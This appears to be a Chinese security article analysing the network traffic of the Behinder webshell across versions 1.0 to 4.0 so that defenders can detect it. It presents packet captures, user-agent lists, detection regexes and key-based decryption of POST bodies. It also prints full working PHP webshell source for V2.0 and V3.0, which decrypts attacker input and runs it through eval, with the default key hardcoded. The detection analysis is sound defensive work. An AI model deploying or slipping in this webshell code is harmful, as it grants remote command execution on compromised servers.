Deutsh
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
1.0
冰蝎V1.0
版本在初期交互通讯时,特征较为明显,user-agent
与正常业务流量明显不同。
可以通过对 user-agent进行检测分析。
其次在POST
返回包中相对正常流量多了 Transfer-Encoding: chunked,Transfer-Encoding
主要是用来改变报文格式,这里指的是利用分块进行传输。可以基于此特征值进行检测
当然,也可以用更简单的方法进行检测,比如url
中包含 .php?pass=
来进行检测
由于该明显特征所以无需分析其流量也可识别V1.0
的流量
冰蝎 1.0 与服务端通信流量特征:
GET
请求包
GET /shell.php?pass=1 HTTP/1.1
User-Agent: Java/1.8.0_211
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
- 特征:
Java/1.8.0_211
POST
请求包
POST /shell.php HTTP/1.1
Content-Type: application/octet-stream
Cookie: null;PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_211
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1624
D3dH8lwIFCCGYS9Yca (此处省略加密字符信息)
POST
返回包
HTTP/1.1 200 OK
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
1f4c0(此处省略加密字符信息)
- 特征:
- 请求包
Content-Type
:application/octet-stream
- 返回包
Transfer-Encoding
:chunked
- 请求包
特征检测/思路
基于GET
包的检测特征:
url
包含.php?pass=
(不要单独检测,与业务冲突大易误报)user-agent
包含Java/*
- 请求包
Content-Type
:application/octet-stream
基于POST
包的检测特征:
user-agent
包含Java/*
- 返回包包含:
Transfer-Encoding: chunked
- 请求包
Content-Type
:application/octet-stream
v1.0
版本流量特征较多,但由于其已基本不再使用,所以就总结一些最具有代表性的
V2.0
冰蝎V2.0
采取了 动态密钥协商的机制,这也成为了其最大的特征之一
V2.0
中通信过程分为两个阶段
- 密钥协商
- 加密传输
密钥协商
1)客户端通过GET
或者POST
方法,形如http://127.0.0.1/shell.php?pass=645
的方式,向上传了 刚刚使用冰蝎生成的webshell
的服务器请求服务器密钥
2)服务器使用随机数MD5
的高16
位作为密钥,存储到会话的$_SESSION
变量中,并返回密钥给客户端
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
加密传输
1)客户端把待执行命令作为输入,利用刚刚得到的密钥,使用AES128
算法或XOR
运算进行加密,并发送至服务端
- 是否使用
AES128
,主要看上传了该webshell
的服务端是否存在openssl
拓展套件,若存在则进行AES
加密,加密后再base64
编码 - 若没有开启
openssl
的拓展,则进行XOR
处理然后通过base64
编码
2)服务端接受密文后进行AES
或XOR
运算解密,执行相应的命令
3)执行结果通过AES
加密后返回给攻击者
V2.0 php版 webshell
别搞混了,该
webshell
位于服务端
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
// 没有开启 openssl 拓展套件
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++)
{
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
// 开启了 openssl 拓展套件
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
通过观察最后几行代码可以看出,在解密后,会得到中间结果字符串assert|eval("phpinfo();")
此数据是由冰蝎加载器发出的,已经定义好的,服务端利用explode
函数将拆分为一个字符串数据,然后以可变函数方式调用索引为0
的数组元素,参数为索引为1
的数组元素,即为assert("eval("phpinfo;")")
密钥协商
具体密钥协商的过程,会发送两次GET
请求,通过在URL
中pass
参数下携带的随机数生成两个密钥,二者作用不同
- 第一次
GET
请求:将服务端产生的密钥写入session
,session
与会话绑定,为了区别不同的客户端 - 第二次
GET
请求:获取用户对向服务端传递语句加密的AES128
加密key
第一次GET
请求包
GET /hackable/uploads/shell.php?pass=673 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
第一次GET
返回包
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 09:34:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=m0agat42tmo0i4srnda5ssfq94; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
d725dbe21ca73b55
第一次请求服务端产生密钥d725dbe21ca73b55
作用在于:
写入session
,session
和当前会话绑定,不同的客户端密钥是不同的,用于区分不同的客户端
第二次GET
请求包
GET /hackable/uploads/shell.php?pass=852 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
此处随机值pass
发生变化,用户生成另一个密钥
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 09:34:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=bv5lv0681hq09ggt8rfj1peio5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
03befc81cbefda94
此时返回的03befc81cbefda94
便是接下来用于AES
加密的密钥
加密传输
使用刚刚得到的AES
密钥03befc81cbefda94
加密POST
请求报文的body
向服务端发送要执行的命令
V2.0流量特征
- 可绕过特征:使用者可修改特殊构造的特征
- 固定特征:程序内部逻辑所规定,无法修改
可绕过特征
Accept
字段Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
弱特征之一,不可单独进行判断,结合赋值其他特征判断
该
Accept
头贯穿冰蝎整个交互报文的过程,都不会发生变化User-Agent
字段弱特征之一,不可单独进行判断,结合赋值其他特征判断
冰蝎内置了一个
UA
库,位于Constants.java
中Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
此处列出几个( UA 较老也可作为其特征之一)
若发现历史流量中同一个源
IP
访问某个URL
时,命中了以下列表中多个User-Agent
,可基本确认为冰蝎特征Connection
字段Connection: Keep-Alive
长连接,冰蝎通信默认使用长连接,但该字段是为了兼容
HTTP 1.0
所加的,其实加不加对于1.1
是一致的,所以也属于弱特征
固定特征
与
V1.0
一致,在最初的GET
请求中存在.php?pass=
格式,用于向服务端传递随机数,动态协商生成密钥\\.(php|jsp|asp|aspx)\\?(\\w){1,10}=\\d{2,3} HTTP/1.1
传递的密钥
加密所用密钥是长度为
16
的随机字符串,小写字母+数字组成,密钥传递阶段,密钥存在于Response Body
中^[a-fA-F0-9]{16}$
POST 数据的解密
由于AES
的密钥会被直接传递回来,所以拿到这串密钥便可解密POST body
中通过AES
加密的数据:
- 先对传递的密文进行
base64
解码 - 再使用密钥进行
AES
解密
便可得到传递的数据
其中POST
返回包的数据解密后存在的固定的格式:
{"status":"success","msg":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
由于该固定格式与相对固定的长度,冰蝎V3.0
当中用超大数据填充的方式绕过
V3.0
由于V2.0
动态协商的机制,使其流量多出了许多特征,而且可直接从报文中获取到协商出的AES
加密密钥(原因其实在于动态协商密钥算法弱,没有使用安全的动态密钥协商算法。如DH
家族)
所以在V3.0
版本中取消了动态密钥协商,采用了预共享密钥,其密钥被写在了webshell
的源码中
其密钥的生成逻辑是:md5("密钥")[0:16];
若使用默认的密钥rebeyond
则其md5
值为E45E329FEB5D925BA3F549B17B4B3DDE
取前16
位就为:e45e329feb5d925b
这样就省去了开始的两个GET
请求
webshell
中得其余部分与V2.0
中得相同
<?php
@error_reporting(0);
session_start();
//该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++)
{
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
所以对于V3.0
可以尝试使用默认预共享密钥rebeyond
的md5
值得前16
位生成的加密密钥尝试对加密得POST
得数据进行解密,解密成功即可检查其敏感的PHP
函数,若更改了默认密码则无法解密
对于V3.0
中若不使用默认密码,手工观测流量的特征较少,而且都为弱特征,以下特征仅作辅助参考,若以此特征对流量做过滤易造成对正常业务的影响
User-Agent
与2.0
类似,但在2.0
的基础上又多增加了几个UA
头,总共有25
个UA
头Accept
头存在固定值Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
或
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language
存在固定值Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
或
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type
存在固定值对于
php
类,其固定值为:application/x-www-form-urlencoded
referer
存在一定规律连接的两个包
referer
中URL
后的文件名都是随机生成的,但文件名是纯大写或者是纯小写,可作为一个弱特征检测包含
Cache-Control: no-cache
V4.0
V4.0
增加了多种算法,为了保障AES
的安全性还增加了附加magic
魔数的AES
加密方式,简单从其流量特征,本人当前没有找到明显的识别方式,一些基本的流量特征也是从V3.0
继承而来的:
- 依旧存在默认密钥,可尝试解密
UA
头Accept
Content-Type
Connection: Keep-Alive
Referer
- 客户端 与 服务端建立连接时,连接所使用本地端口分布在 49700 左右,每建立一次新的连接,端口就依次增加
由于其可定制化大大加强,总归缺少有利的判断条件,只能多方面合起来进行判断
以下源码来自逆向V4.0.2
版本(不保证确实如此),其中UA
头缩减到了10
个,而且Accept
字段仅存在一个
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
如抓包所示
之后若发现V4.0
流量层面有其余特征会再来更新
参考文章/深入学习
BehinderClientSource/Constants.java at master · MountCloud/BehinderClientSource
冰蝎4.0特征分析及流量检测思路 - FreeBuf网络安全行业门户
冰蝎4.0流量解密_Evan Kang的博客-CSDN博客_冰蝎流量解密
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
